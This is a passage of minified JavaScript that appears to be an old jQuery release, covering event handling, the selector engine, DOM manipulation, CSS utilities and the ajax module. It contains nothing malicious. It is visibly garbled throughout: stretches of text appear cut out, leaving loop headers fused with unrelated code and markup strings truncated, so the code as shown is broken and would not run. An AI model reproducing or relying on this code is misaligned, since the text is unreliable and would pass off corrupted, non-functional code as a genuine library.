i=j.events=j.events||{},o=j.handle;if(!o)j.handle=o=function(){return typeof c!=="undefined"&&!c.event.triggered?c.event.handle.apply(o.elem,arguments):w};o.elem=a;b=b.split(" ");for(var k,n=0,r;k=b[n++];){j=e?c.extend({},e):{handler:d,data:f};if(k.indexOf(".")>-1){r=k.split(".");k=r.shift();j.namespace=r.slice(0).sort().join(".")}else{r=[];j.namespace=""}j.type=k;j.guid=d.guid;var u=i[k],z=c.event.special[k]||{};if(!u){u=i[k]=[];if(!z.setup||z.setup.call(a,f,r,o)===false)if(a.addEventListener)a.addEventListener(k,o,false);else a.attachEvent&&a.attachEvent("on"+k,o)}if(z.add){z.add.call(a,j);if(!j.handler.guid)j.handler.guid=d.guid}u.push(j);c.event.global[k]=true}a=null}}},global:{},remove:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){var e,j=0,i,o,k,n,r,u,z=c.data(a),C=z&&z.events;if(z&&C){if(b&&b.type){d=b.handler;b=b.type}if(!b||typeof b==="string"&&b.charAt(0)==="."){b=b||"";for(e in C)c.event.remove(a,e+b)}else{for(b=b.split(" ");e=b[j++];){n=e;i=e.indexOf(".")<0;o=[];if(!i){o=e.split(".");e=o.shift();k=new RegExp("(^|\\.)"+c.map(o.slice(0).sort(),db).join("\\.(?:.*\\.)?")+"(\\.|$)")}if(r=C[e])if(d){n=c.event.special[e]||{};for(B=f||0;B=0){a.type=e=e.slice(0,-1);a.exclusive=true}if(!d){a.stopPropagation();c.event.global[e]&&c.each(c.cache,function(){this.events&&this.events[e]&&c.event.trigger(a,b,this.handle.elem)})}if(!d||d.nodeType===3||d.nodeType===8)return w;a.result=w;a.target=d;b=c.makeArray(b);b.unshift(a)}a.currentTarget=d;(f=c.data(d,"handle"))&&f.apply(d,b);f=d.parentNode||d.ownerDocument;try{if(!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()]))if(d["on"+e]&&d["on"+e].apply(d,b)===false)a.result=false}catch(j){}if(!a.isPropagationStopped()&&f)c.event.trigger(a,b,f,true);else if(!a.isDefaultPrevented()){f=a.target;var i,o=c.nodeName(f,"a")&&e==="click",k=c.event.special[e]||{};if((!k._default||k._default.call(d,a)===false)&&!o&&!(f&&f.nodeName&&c.noData[f.nodeName.toLowerCase()])){try{if(f[e]){if(i=f["on"+e])f["on"+e]=null;c.event.triggered=true;f[e]()}}catch(n){}if(i)f["on"+e]=i;c.event.triggered=false}}},handle:function(a){var b,d,f,e;a=arguments[0]=c.event.fix(a||A.event);a.currentTarget=this;b=a.type.indexOf(".")<0&&!a.exclusive;if(!b){d=a.type.split(".");a.type=d.shift();f=new RegExp("(^|\\.)"+d.slice(0).sort().join("\\.(?:.*\\.)?")+"(\\.|$)")}e=c.data(this,"events");d=e[a.type];if(e&&d){d=d.slice(0);e=0;for(var j=d.length;e-1?c.map(a.options,function(f){return f.selected}).join("-"):"";else if(a.nodeName.toLowerCase()==="select")d=a.selectedIndex;return d},fa=function(a,b){var d=a.target,f,e;if(!(!da.test(d.nodeName)||d.readOnly)){f=c.data(d,"_change_data");e=Fa(d);if(a.type!=="focusout"||d.type!=="radio")c.data(d,"_change_data",e);if(!(f===w||e===f))if(f!=null||e){a.type="change";return c.event.trigger(a,b,d)}}};c.event.special.change={filters:{focusout:fa,click:function(a){var b=a.target,d=b.type;if(d==="radio"||d==="checkbox"||b.nodeName.toLowerCase()==="select")return fa.call(this,a)},keydown:function(a){var b=a.target,d=b.type;if(a.keyCode===13&&b.nodeName.toLowerCase()!=="textarea"||a.keyCode===32&&(d==="checkbox"||d==="radio")||d==="select-multiple")return fa.call(this,a)},beforeactivate:function(a){a=a.target;c.data(a,"_change_data",Fa(a))}},setup:function(){if(this.type==="file")return false;for(var a in ea)c.event.add(this,a+".specialChange",ea[a]);return da.test(this.nodeName)},teardown:function(){c.event.remove(this,".specialChange");return da.test(this.nodeName)}};ea=c.event.special.change.filters}s.addEventListener&&c.each({focus:"focusin",blur:"focusout"},function(a,b){function d(f){f=c.event.fix(f);f.type=b;return c.event.handle.call(this,f)}c.event.special[b]={setup:function(){this.addEventListener(a,d,true)},teardown:function(){this.removeEventListener(a,d,true)}}});c.each(["bind","one"],function(a,b){c.fn[b]=function(d,f,e){if(typeof d==="object"){for(var j in d)this[b](j,f,d[j],e);return this}if(c.isFunction(f)){e=f;f=w}var i=b==="one"?c.proxy(e,function(k){c(this).unbind(k,i);return e.apply(this,arguments)}):e;if(d==="unload"&&b!=="one")this.one(d,f,e);else{j=0;for(var o=this.length;j0){y=t;break}}t=t[g]}m[q]=y}}}var f=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,e=0,j=Object.prototype.toString,i=false,o=true;[0,0].sort(function(){o=false;return 0});var k=function(g,h,l,m){l=l||[];var q=h=h||s;if(h.nodeType!==1&&h.nodeType!==9)return[];if(!g||typeof g!=="string")return l;for(var p=[],v,t,y,S,H=true,M=x(h),I=g;(f.exec(""),v=f.exec(I))!==null;){I=v[3];p.push(v[1]);if(v[2]){S=v[3];break}}if(p.length>1&&r.exec(g))if(p.length===2&&n.relative[p[0]])t=ga(p[0]+p[1],h);else for(t=n.relative[p[0]]?[h]:k(p.shift(),h);p.length;){g=p.shift();if(n.relative[g])g+=p.shift();t=ga(g,t)}else{if(!m&&p.length>1&&h.nodeType===9&&!M&&n.match.ID.test(p[0])&&!n.match.ID.test(p[p.length-1])){v=k.find(p.shift(),h,M);h=v.expr?k.filter(v.expr,v.set)[0]:v.set[0]}if(h){v=m?{expr:p.pop(),set:z(m)}:k.find(p.pop(),p.length===1&&(p[0]==="~"||p[0]==="+")&&h.parentNode?h.parentNode:h,M);t=v.expr?k.filter(v.expr,v.set):v.set;if(p.length>0)y=z(t);else H=false;for(;p.length;){var D=p.pop();v=D;if(n.relative[D])v=p.pop();else D="";if(v==null)v=h;n.relative[D](y,v,M)}}else y=[]}y||(y=t);y||k.error(D||g);if(j.call(y)==="[object Array]")if(H)if(h&&h.nodeType===1)for(g=0;y[g]!=null;g++){if(y[g]&&(y[g]===true||y[g].nodeType===1&&E(h,y[g])))l.push(t[g])}else for(g=0;y[g]!=null;g++)y[g]&&y[g].nodeType===1&&l.push(t[g]);else l.push.apply(l,y);else z(y,l);if(S){k(S,q,l,m);k.uniqueSort(l)}return l};k.uniqueSort=function(g){if(B){i=o;g.sort(B);if(i)for(var h=1;h":function(g,h){var l=typeof h==="string";if(l&&!/\W/.test(h)){h=h.toLowerCase();for(var m=0,q=g.length;m=0))l||m.push(v);else if(l)h[p]=false;return false},ID:function(g){return g[1].replace(/\\/g,"")},TAG:function(g){return g[1].toLowerCase()},CHILD:function(g){if(g[1]==="nth"){var h=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(g[2]==="even"&&"2n"||g[2]==="odd"&&"2n+1"||!/\D/.test(g[2])&&"0n+"+g[2]||g[2]);g[2]=h[1]+(h[2]||1)-0;g[3]=h[3]-0}g[0]=e++;return g},ATTR:function(g,h,l,m,q,p){h=g[1].replace(/\\/g,"");if(!p&&n.attrMap[h])g[1]=n.attrMap[h];if(g[2]==="~=")g[4]=" "+g[4]+" ";return g},PSEUDO:function(g,h,l,m,q){if(g[1]==="not")if((f.exec(g[3])||"").length>1||/^\w/.test(g[3]))g[3]=k(g[3],null,null,h);else{g=k.filter(g[3],h,l,true^q);l||m.push.apply(m,g);return false}else if(n.match.POS.test(g[0])||n.match.CHILD.test(g[0]))return true;return g},POS:function(g){g.unshift(true);return g}},filters:{enabled:function(g){return g.disabled===false&&g.type!=="hidden"},disabled:function(g){return g.disabled===true},checked:function(g){return g.checked===true},selected:function(g){return g.selected===true},parent:function(g){return!!g.firstChild},empty:function(g){return!g.firstChild},has:function(g,h,l){return!!k(l[3],g).length},header:function(g){return/h\d/i.test(g.nodeName)},text:function(g){return"text"===g.type},radio:function(g){return"radio"===g.type},checkbox:function(g){return"checkbox"===g.type},file:function(g){return"file"===g.type},password:function(g){return"password"===g.type},submit:function(g){return"submit"===g.type},image:function(g){return"image"===g.type},reset:function(g){return"reset"===g.type},button:function(g){return"button"===g.type||g.nodeName.toLowerCase()==="button"},input:function(g){return/input|select|textarea|button/i.test(g.nodeName)}},setFilters:{first:function(g,h){return h===0},last:function(g,h,l,m){return h===m.length-1},even:function(g,h){return h%2===0},odd:function(g,h){return h%2===1},lt:function(g,h,l){return hl[3]-0},nth:function(g,h,l){return l[3]-0===h},eq:function(g,h,l){return l[3]-0===h}},filter:{PSEUDO:function(g,h,l,m){var q=h[1],p=n.filters[q];if(p)return p(g,l,h,m);else if(q==="contains")return(g.textContent||g.innerText||a([g])||"").indexOf(h[3])>=0;else if(q==="not"){h=h[3];l=0;for(m=h.length;l=0}},ID:function(g,h){return g.nodeType===1&&g.getAttribute("id")===h},TAG:function(g,h){return h==="*"&&g.nodeType===1||g.nodeName.toLowerCase()===h},CLASS:function(g,h){return(" "+(g.className||g.getAttribute("class"))+" ").indexOf(h)>-1},ATTR:function(g,h){var l=h[1];g=n.attrHandle[l]?n.attrHandle[l](g):g[l]!=null?g[l]:g.getAttribute(l);l=g+"";var m=h[2];h=h[4];return g==null?m==="!=":m==="="?l===h:m==="*="?l.indexOf(h)>=0:m==="~="?(" "+l+" ").indexOf(h)>=0:!h?l&&g!==false:m==="!="?l!==h:m==="^="?l.indexOf(h)===0:m==="$="?l.substr(l.length-h.length)===h:m==="|="?l===h||l.substr(0,h.length+1)===h+"-":false},POS:function(g,h,l,m){var q=n.setFilters[h[2]];if(q)return q(g,l,h,m)}}},r=n.match.POS;for(var u in n.match){n.match[u]=new RegExp(n.match[u].source+/(?![^\[]*\])(?![^\(]*\))/.source);n.leftMatch[u]=new RegExp(/(^(?:.|\r|\n)*?)/.source+n.match[u].source.replace(/\\(\d+)/g,function(g,h){return"\\"+(h-0+1)}))}var z=function(g,h){g=Array.prototype.slice.call(g,0);if(h){h.push.apply(h,g);return h}return g};try{Array.prototype.slice.call(s.documentElement.childNodes,0)}catch(C){z=function(g,h){h=h||[];if(j.call(g)==="[object Array]")Array.prototype.push.apply(h,g);else if(typeof g.length==="number")for(var l=0,m=g.length;l";var l=s.documentElement;l.insertBefore(g,l.firstChild);if(s.getElementById(h)){n.find.ID=function(m,q,p){if(typeof q.getElementById!=="undefined"&&!p)return(q=q.getElementById(m[1]))?q.id===m[1]||typeof q.getAttributeNode!=="undefined"&&q.getAttributeNode("id").nodeValue===m[1]?[q]:w:[]};n.filter.ID=function(m,q){var p=typeof m.getAttributeNode!=="undefined"&&m.getAttributeNode("id");return m.nodeType===1&&p&&p.nodeValue===q}}l.removeChild(g);l=g=null})();(function(){var g=s.createElement("div");g.appendChild(s.createComment(""));if(g.getElementsByTagName("*").length>0)n.find.TAG=function(h,l){l=l.getElementsByTagName(h[1]);if(h[1]==="*"){h=[];for(var m=0;l[m];m++)l[m].nodeType===1&&h.push(l[m]);l=h}return l};g.innerHTML="";if(g.firstChild&&typeof g.firstChild.getAttribute!=="undefined"&&g.firstChild.getAttribute("href")!=="#")n.attrHandle.href=function(h){return h.getAttribute("href",2)};g=null})();s.querySelectorAll&&function(){var g=k,h=s.createElement("div");h.innerHTML="

";if(!(h.querySelectorAll&&h.querySelectorAll(".TEST").length===0)){k=function(m,q,p,v){q=q||s;if(!v&&q.nodeType===9&&!x(q))try{return z(q.querySelectorAll(m),p)}catch(t){}return g(m,q,p,v)};for(var l in g)k[l]=g[l];h=null}}();(function(){var g=s.createElement("div");g.innerHTML="
";if(!(!g.getElementsByClassName||g.getElementsByClassName("e").length===0)){g.lastChild.className="e";if(g.getElementsByClassName("e").length!==1){n.order.splice(1,0,"CLASS");n.find.CLASS=function(h,l,m){if(typeof l.getElementsByClassName!=="undefined"&&!m)return l.getElementsByClassName(h[1])};g=null}}})();var E=s.compareDocumentPosition?function(g,h){return!!(g.compareDocumentPosition(h)&16)}:function(g,h){return g!==h&&(g.contains?g.contains(h):true)},x=function(g){return(g=(g?g.ownerDocument||g:0).documentElement)?g.nodeName!=="HTML":false},ga=function(g,h){var l=[],m="",q;for(h=h.nodeType?[h]:h;q=n.match.PSEUDO.exec(g);){m+=q[0];g=g.replace(n.match.PSEUDO,"")}g=n.relative[g]?g+"*":g;q=0;for(var p=h.length;q=0===d})};c.fn.extend({find:function(a){for(var b=this.pushStack("","find",a),d=0,f=0,e=this.length;f0)for(var j=d;j0},closest:function(a,b){if(c.isArray(a)){var d=[],f=this[0],e,j={},i;if(f&&a.length){e=0;for(var o=a.length;e-1:c(f).is(e)){d.push({selector:i,elem:f});delete j[i]}}f=f.parentNode}}return d}var k=c.expr.match.POS.test(a)?c(a,b||this.context):null;return this.map(function(n,r){for(;r&&r.ownerDocument&&r!==b;){if(k?k.index(r)>-1:c(r).is(a))return r;r=r.parentNode}return null})},index:function(a){if(!a||typeof a==="string")return c.inArray(this[0],a?c(a):this.parent().children());return c.inArray(a.jquery?a[0]:a,this)},add:function(a,b){a=typeof a==="string"?c(a,b||this.context):c.makeArray(a);b=c.merge(this.get(),a);return this.pushStack(qa(a[0])||qa(b[0])?b:c.unique(b))},andSelf:function(){return this.add(this.prevObject)}});c.each({parent:function(a){return(a=a.parentNode)&&a.nodeType!==11?a:null},parents:function(a){return c.dir(a,"parentNode")},parentsUntil:function(a,b,d){return c.dir(a,"parentNode",d)},next:function(a){return c.nth(a,2,"nextSibling")},prev:function(a){return c.nth(a,2,"previousSibling")},nextAll:function(a){return c.dir(a,"nextSibling")},prevAll:function(a){return c.dir(a,"previousSibling")},nextUntil:function(a,b,d){return c.dir(a,"nextSibling",d)},prevUntil:function(a,b,d){return c.dir(a,"previousSibling",d)},siblings:function(a){return c.sibling(a.parentNode.firstChild,a)},children:function(a){return c.sibling(a.firstChild)},contents:function(a){return c.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:c.makeArray(a.childNodes)}},function(a,b){c.fn[a]=function(d,f){var e=c.map(this,b,d);eb.test(a)||(f=d);if(f&&typeof f==="string")e=c.filter(f,e);e=this.length>1?c.unique(e):e;if((this.length>1||gb.test(f))&&fb.test(a))e=e.reverse();return this.pushStack(e,a,R.call(arguments).join(","))}});c.extend({filter:function(a,b,d){if(d)a=":not("+a+")";return c.find.matches(a,b)},dir:function(a,b,d){var f=[];for(a=a[b];a&&a.nodeType!==9&&(d===w||a.nodeType!==1||!c(a).is(d));){a.nodeType===1&&f.push(a);a=a[b]}return f},nth:function(a,b,d){b=b||1;for(var f=0;a;a=a[d])if(a.nodeType===1&&++f===b)break;return a},sibling:function(a,b){for(var d=[];a;a=a.nextSibling)a.nodeType===1&&a!==b&&d.push(a);return d}});var Ja=/ jQuery\d+="(?:\d+|null)"/g,V=/^\s+/,Ka=/(<([\w:]+)[^>]*?)\/>/g,hb=/^(?:area|br|col|embed|hr|img|input|link|meta|param)$/i,La=/<([\w:]+)/,ib=/"},F={option:[1,""],legend:[1,"
","
"],thead:[1,"","
"],tr:[2,"","
"],td:[3,"","
"],col:[2,"","
"],area:[1,"",""],_default:[0,"",""]};F.optgroup=F.option;F.tbody=F.tfoot=F.colgroup=F.caption=F.thead;F.th=F.td;if(!c.support.htmlSerialize)F._default=[1,"div
","
"];c.fn.extend({text:function(a){if(c.isFunction(a))return this.each(function(b){var d=c(this);d.text(a.call(this,b,d.text()))});if(typeof a!=="object"&&a!==w)return this.empty().append((this[0]&&this[0].ownerDocument||s).createTextNode(a));return c.text(this)},wrapAll:function(a){if(c.isFunction(a))return this.each(function(d){c(this).wrapAll(a.call(this,d))});if(this[0]){var b=c(a,this[0].ownerDocument).eq(0).clone(true);this[0].parentNode&&b.insertBefore(this[0]);b.map(function(){for(var d=this;d.firstChild&&d.firstChild.nodeType===1;)d=d.firstChild;return d}).append(this)}return this},wrapInner:function(a){if(c.isFunction(a))return this.each(function(b){c(this).wrapInner(a.call(this,b))});return this.each(function(){var b=c(this),d=b.contents();d.length?d.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){c(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){c.nodeName(this,"body")||c(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,this)});else if(arguments.length){var a=c(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,this.nextSibling)});else if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,c(arguments[0]).toArray());return a}},remove:function(a,b){for(var d=0,f;(f=this[d])!=null;d++)if(!a||c.filter(a,[f]).length){if(!b&&f.nodeType===1){c.cleanData(f.getElementsByTagName("*"));c.cleanData([f])}f.parentNode&&f.parentNode.removeChild(f)}return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++)for(b.nodeType===1&&c.cleanData(b.getElementsByTagName("*"));b.firstChild;)b.removeChild(b.firstChild);return this},clone:function(a){var b=this.map(function(){if(!c.support.noCloneEvent&&!c.isXMLDoc(this)){var d=this.outerHTML,f=this.ownerDocument;if(!d){d=f.createElement("div");d.appendChild(this.cloneNode(true));d=d.innerHTML}return c.clean([d.replace(Ja,"").replace(/=([^="'>\s]+\/)>/g,'="$1">').replace(V,"")],f)[0]}else return this.cloneNode(true)});if(a===true){ra(this,b);ra(this.find("*"),b.find("*"))}return b},html:function(a){if(a===w)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(Ja,""):null;else if(typeof a==="string"&&!ta.test(a)&&(c.support.leadingWhitespace||!V.test(a))&&!F[(La.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Ka,Ma);try{for(var b=0,d=this.length;b0||e.cacheable||this.length>1?k.cloneNode(true):k)}o.length&&c.each(o,Qa)}return this}});c.fragments={};c.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){c.fn[a]=function(d){var f=[];d=c(d);var e=this.length===1&&this[0].parentNode;if(e&&e.nodeType===11&&e.childNodes.length===1&&d.length===1){d[b](this[0]);return this}else{e=0;for(var j=d.length;e0?this.clone(true):this).get();c.fn[b].apply(c(d[e]),i);f=f.concat(i)}return this.pushStack(f,a,d.selector)}}});c.extend({clean:function(a,b,d,f){b=b||s;if(typeof b.createElement==="undefined")b=b.ownerDocument||b[0]&&b[0].ownerDocument||s;for(var e=[],j=0,i;(i=a[j])!=null;j++){if(typeof i==="number")i+="";if(i){if(typeof i==="string"&&!jb.test(i))i=b.createTextNode(i);else if(typeof i==="string"){i=i.replace(Ka,Ma);var o=(La.exec(i)||["",""])[1].toLowerCase(),k=F[o]||F._default,n=k[0],r=b.createElement("div");for(r.innerHTML=k[1]+i+k[2];n--;)r=r.lastChild;if(!c.support.tbody){n=ib.test(i);o=o==="table"&&!n?r.firstChild&&r.firstChild.childNodes:k[1]===""&&!n?r.childNodes:[];for(k=o.length-1;k>=0;--k)c.nodeName(o[k],"tbody")&&!o[k].childNodes.length&&o[k].parentNode.removeChild(o[k])}!c.support.leadingWhitespace&&V.test(i)&&r.insertBefore(b.createTextNode(V.exec(i)[0]),r.firstChild);i=r.childNodes}if(i.nodeType)e.push(i);else e=c.merge(e,i)}}if(d)for(j=0;e[j];j++)if(f&&c.nodeName(e[j],"script")&&(!e[j].type||e[j].type.toLowerCase()==="text/javascript"))f.push(e[j].parentNode?e[j].parentNode.removeChild(e[j]):e[j]);else{e[j].nodeType===1&&e.splice.apply(e,[j+1,0].concat(c.makeArray(e[j].getElementsByTagName("script"))));d.appendChild(e[j])}return e},cleanData:function(a){for(var b,d,f=c.cache,e=c.event.special,j=c.support.deleteExpando,i=0,o;(o=a[i])!=null;i++)if(d=o[c.expando]){b=f[d];if(b.events)for(var k in b.events)e[k]?c.event.remove(o,k):Ca(o,k,b.handle);if(j)delete o[c.expando];else o.removeAttribute&&o.removeAttribute(c.expando);delete f[d]}}});var kb=/z-?index|font-?weight|opacity|zoom|line-?height/i,Na=/alpha\([^)]*\)/,Oa=/opacity=([^)]*)/,ha=/float/i,ia=/-([a-z])/ig,lb=/([A-Z])/g,mb=/^-?\d+(?:px)?$/i,nb=/^-?\d/,ob={position:"absolute",visibility:"hidden",display:"block"},pb=["Left","Right"],qb=["Top","Bottom"],rb=s.defaultView&&s.defaultView.getComputedStyle,Pa=c.support.cssFloat?"cssFloat":"styleFloat",ja=function(a,b){return b.toUpperCase()};c.fn.css=function(a,b){return X(this,a,b,true,function(d,f,e){if(e===w)return c.curCSS(d,f);if(typeof e==="number"&&!kb.test(f))e+="px";c.style(d,f,e)})};c.extend({style:function(a,b,d){if(!a||a.nodeType===3||a.nodeType===8)return w;if((b==="width"||b==="height")&&parseFloat(d)<0)d=w;var f=a.style||a,e=d!==w;if(!c.support.opacity&&b==="opacity"){if(e){f.zoom=1;b=parseInt(d,10)+""==="NaN"?"":"alpha(opacity="+d*100+")";a=f.filter||c.curCSS(a,"filter")||"";f.filter=Na.test(a)?a.replace(Na,b):b}return f.filter&&f.filter.indexOf("opacity=")>=0?parseFloat(Oa.exec(f.filter)[1])/100+"":""}if(ha.test(b))b=Pa;b=b.replace(ia,ja);if(e)f[b]=d;return f[b]},css:function(a,b,d,f){if(b==="width"||b==="height"){var e,j=b==="width"?pb:qb;function i(){e=b==="width"?a.offsetWidth:a.offsetHeight;f!=="border"&&c.each(j,function(){f||(e-=parseFloat(c.curCSS(a,"padding"+this,true))||0);if(f==="margin")e+=parseFloat(c.curCSS(a,"margin"+this,true))||0;else e-=parseFloat(c.curCSS(a,"border"+this+"Width",true))||0})}a.offsetWidth!==0?i():c.swap(a,ob,i);return Math.max(0,Math.round(e))}return c.curCSS(a,b,d)},curCSS:function(a,b,d){var f,e=a.style;if(!c.support.opacity&&b==="opacity"&&a.currentStyle){f=Oa.test(a.currentStyle.filter||"")?parseFloat(RegExp.$1)/100+"":"";return f===""?"1":f}if(ha.test(b))b=Pa;if(!d&&e&&e[b])f=e[b];else if(rb){if(ha.test(b))b="float";b=b.replace(lb,"-$1").toLowerCase();e=a.ownerDocument.defaultView;if(!e)return null;if(a=e.getComputedStyle(a,null))f=a.getPropertyValue(b);if(b==="opacity"&&f==="")f="1"}else if(a.currentStyle){d=b.replace(ia,ja);f=a.currentStyle[b]||a.currentStyle[d];if(!mb.test(f)&&nb.test(f)){b=e.left;var j=a.runtimeStyle.left;a.runtimeStyle.left=a.currentStyle.left;e.left=d==="fontSize"?"1em":f||0;f=e.pixelLeft+"px";e.left=b;a.runtimeStyle.left=j}}return f},swap:function(a,b,d){var f={};for(var e in b){f[e]=a.style[e];a.style[e]=b[e]}d.call(a);for(e in b)a.style[e]=f[e]}});if(c.expr&&c.expr.filters){c.expr.filters.hidden=function(a){var b=a.offsetWidth,d=a.offsetHeight,f=a.nodeName.toLowerCase()==="tr";return b===0&&d===0&&!f?true:b>0&&d>0&&!f?false:c.curCSS(a,"display")==="none"};c.expr.filters.visible=function(a){return!c.expr.filters.hidden(a)}}var sb=J(),tb=//gi,ub=/select|textarea/i,vb=/color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week/i,N=/=\?(&|$)/,ka=/\?/,wb=/(\?|&)_=.*?(&|$)/,xb=/^(\w+:)?\/\/([^\/?#]+)/,yb=/%20/g,zb=c.fn.load;c.fn.extend({load:function(a,b,d){if(typeof a!=="string")return zb.call(this,a);else if(!this.length)return this;var f=a.indexOf(" ");if(f>=0){var e=a.slice(f,a.length);a=a.slice(0,f)}f="GET";if(b)if(c.isFunction(b)){d=b;b=null}else if(typeof b==="object"){b=c.param(b,c.ajaxSettings.traditional);f="POST"}var j=this;c.ajax({url:a,type:f,dataType:"html",data:b,complete:function(i,o){if(o==="success"||o==="notmodified")j.html(e?c("
").append(i.responseText.replace(tb,"")).find(e):i.responseText);d&&j.each(d,[i.responseText,o,i])}});return this},serialize:function(){return c.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?c.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||ub.test(this.nodeName)||vb.test(this.type))}).map(function(a,b){a=c(this).val();return a==null?null:c.isArray(a)?c.map(a,function(d){return{name:b.name,value:d}}):{name:b.name,value:a}}).get()}});c.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){c.fn[b]=function(d){return this.bind(b,d)}});c.extend({get:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b=null}return c.ajax({type:"GET",url:a,data:b,success:d,dataType:f})},getScript:function(a,b){return c.get(a,null,b,"script")},getJSON:function(a,b,d){return c.get(a,b,d,"json")},post:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b={}}return c.ajax({type:"POST",url:a,data:b,success:d,dataType:f})},ajaxSetup:function(a){c.extend(c.ajaxSettings,a)},ajaxSettings:{url:location.href,global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:A.XMLHttpRequest&&(A.location.protocol!=="file:"||!A.ActiveXObject)?function(){return new A.XMLHttpRequest}:function(){try{return new A.ActiveXObject("Microsoft.XMLHTTP")}catch(a){}},accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},etag:{},ajax:function(a){function b(){e.success&&e.success.call(k,o,i,x);e.global&&f("ajaxSuccess",[x,e])}function d(){e.complete&&e.complete.call(k,x,i);e.global&&f("ajaxComplete",[x,e]);e.global&&!--c.active&&c.event.trigger("ajaxStop")}function f(q,p){(e.context?c(e.context):c.event).trigger(q,p)}var e=c.extend(true,{},c.ajaxSettings,a),j,i,o,k=a&&a.context||e,n=e.type.toUpperCase();if(e.data&&e.processData&&typeof e.data!=="string")e.data=c.param(e.data,e.traditional);if(e.dataType==="jsonp"){if(n==="GET")N.test(e.url)||(e.url+=(ka.test(e.url)?"&":"?")+(e.jsonp||"callback")+"=?");else if(!e.data||!N.test(e.data))e.data=(e.data?e.data+"&":"")+(e.jsonp||"callback")+"=?";e.dataType="json"}if(e.dataType==="json"&&(e.data&&N.test(e.data)||N.test(e.url))){j=e.jsonpCallback||"jsonp"+sb++;if(e.data)e.data=(e.data+"").replace(N,"="+j+"$1");e.url=e.url.replace(N,"="+j+"$1");e.dataType="script";A[j]=A[j]||function(q){o=q;b();d();A[j]=w;try{delete A[j]}catch(p){}z&&z.removeChild(C)}}if(e.dataType==="script"&&e.cache===null)e.cache=false;if(e.cache===false&&n==="GET"){var r=J(),u=e.url.replace(wb,"$1_="+r+"$2");e.url=u+(u===e.url?(ka.test(e.url)?"&":"?")+"_="+r:"")}if(e.data&&n==="GET")e.url+=(ka.test(e.url)?"&":"?")+e.data;e.global&&!c.active++&&c.event.trigger("ajaxStart");r=(r=xb.exec(e.url))&&(r[1]&&r[1]!==location.protocol||r[2]!==location.host);if(e.dataType==="script"&&n==="GET"&&r){var z=s.getElementsByTagName("head")[0]||s.documentElement,C=s.createElement("script");C.src=e.url;if(e.scriptCharset)C.charset=e.scriptCharset;if(!j){var B=false;C.onload=C.onreadystatechange=function(){if(!B&&(!this.readyState||this.readyState==="loaded"||this.readyState==="complete")){B=true;b();d();C.onload=C.onreadystatechange=null;z&&C.parentNode&&z.removeChild(C)}}}z.insertBefore(C,z.firstChild);return w}var E=false,x=e.xhr();if(x){e.username?x.open(n,e.url,e.async,e.username,e.password):x.open(n,e.url,e.async);try{if(e.data||a&&a.contentType)x.setRequestHeader("Content-Type",e.contentType);if(e.ifModified){c.lastModified[e.url]&&x.setRequestHeader("If-Modified-Since",c.lastModified[e.url]);c.etag[e.url]&&x.setRequestHeader("If-None-Match",c.etag[e.url])}r||x.setRequestHeader("X-Requested-With","XMLHttpRequest");x.setRequestHeader("Accept",e.dataType&&e.accepts[e.dataType]?e.accepts[e.dataType]+", */*":e.accepts._default)}catch(ga){}if(e.beforeSend&&e.beforeSend.call(k,x,e)===false){e.global&&!--c.active&&c.event.trigger("ajaxStop");x.abort();return false}e.global&&f("ajaxSend",[x,e]);var g=x.onreadystatechange=function(q){if(!x||x.readyState===0||q==="abort"){E||d();E=true;if(x)x.onreadystatechange=c.noop}else if(!E&&x&&(x.readyState===4||q==="timeout")){E=true;x.onreadystatechange=c.noop;i=q==="timeout"?"timeout":!c.httpSuccess(x)?"error":e.ifModified&&c.httpNotModified(x,e.url)?"notmodified":"success";var p;if(i==="success")try{o=c.httpData(x,e.dataType,e)}catch(v){i="parsererror";p=v}if(i==="success"||i==="notmodified")j||b();else c.handleError(e,x,i,p);d();q==="timeout"&&x.abort();if(e.async)x=null}};try{var h=x.abort;x.abort=function(){x&&h.call(x);g("abort")}}catch(l){}e.async&&e.timeout>0&&setTimeout(function(){x&&!E&&g("timeout")},e.timeout);try{x.send(n==="POST"||n==="PUT"||n==="DELETE"?e.data:null)}catch(m){c.handleError(e,x,null,m);d()}e.async||g();return x}},handleError:function(a,b,d,f){if(a.error)a.error.call(a.context||a,b,d,f);if(a.global)(a.context?c(a.context):c.event).trigger("ajaxError",[b,a,f])},active:0,httpSuccess:function(a){try{return!a.status&&location.protocol==="file:"||a.status>=200&&a.status<300||a.status===304||a.status===1223||a.status===0}catch(b){}return false},httpNotModified:function(a,b){var d=a.getResponseHeader("Last-Modified"),f=a.getResponseHeader("Etag");if(d)c.lastModified[b]=d;if(f)c.etag[b]=f;return 